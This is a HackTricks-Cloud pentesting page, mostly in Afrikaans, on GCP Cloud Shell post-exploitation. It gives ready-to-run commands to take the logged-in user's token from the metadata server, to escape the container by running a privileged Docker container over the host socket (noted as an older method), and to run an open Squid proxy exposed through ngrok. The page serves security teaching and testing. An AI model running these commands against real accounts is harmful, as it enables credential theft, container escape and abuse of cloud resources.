Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md

4.3 KiB

GCP - Cloud Shell Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Cloud Shell

Vir meer inligting oor Cloud Shell kyk:

{{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}}

Verkry gebruiker se token vanaf metadata

Deur net toegang tot die metadata-server te kry, kan jy 'n token bekom om toegang te kry as die tans aangemelde gebruiker:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"

Container Escape / Docker use

Warning

Voorheen het die cloud shell in 'n container geloop met toegang tot die docker socket van die host. Nou het Google die argitektuur verander en die cloud shell-container loop in 'n "Docker in a container" opstelling. Dus, selfs al is dit moontlik om docker vanaf die cloud shell te gebruik, sal jy nie na die host kan ontsnap deur die docker socket te gebruik nie. Neem kennis dat voorheen die docker.sock-lêer geleë was in /google/host/var/run/docker.sock maar nou is dit verskuif na /run/docker.sock.

Docker use / Oude container escape-kommando's ```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```

Bovendien was dit in die verlede moontlik om 'n token vir 'n service account wat deur die cloud shell VM gebruik is, in die metadata server te vind:

Ou service account van metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Met die volgende scopes: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>



### Gebruik dit as Proxy

As jy jou google cloud shell instance as proxy wil gebruik, moet jy die volgende opdragte uitvoer (of dit in die .bashrc-lêer plaas):

<details>

<summary>Installeer Squid proxy</summary>
```bash
sudo apt install -y squid

Net sodat jy weet: Squid is 'n http-proxybediener. Skep die squid.conf-lêer met die volgende instellings:

Skep die **squid.conf**-lêer ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

kopieer die squid.conf lêer na /etc/squid

Kopieer config na /etc/squid ```bash sudo cp squid.conf /etc/squid ```

Laastens begin die squid-diens:

Begin die squid-diens ```bash sudo service squid start ```

Gebruik ngrok om die proxy van buite beskikbaar te maak:

Maak die proxy beskikbaar met ngrok ```bash ./ngrok tcp 3128 ```

Na die uitvoering, kopieer die tcp:// url. As jy die proxy vanuit 'n blaaier wil gebruik, word dit aanbeveel om die tcp://-deel en die poort te verwyder en die poort in die poortveld van jou blaaier se proxy-instellings te plaas (squid is a http proxy server).

Vir beter gebruik by opstart moet die .bashrc-lêer die volgende reëls hê:

Voeg by .bashrc vir outomatiese opstart ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

Die instruksies is gekopieer vanaf https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Kyk daardie bladsy vir ander mal idees om enige soort sagteware (databases en selfs windows) in Cloud Shell te laat loop.

{{#include ../../../banners/hacktricks-training.md}}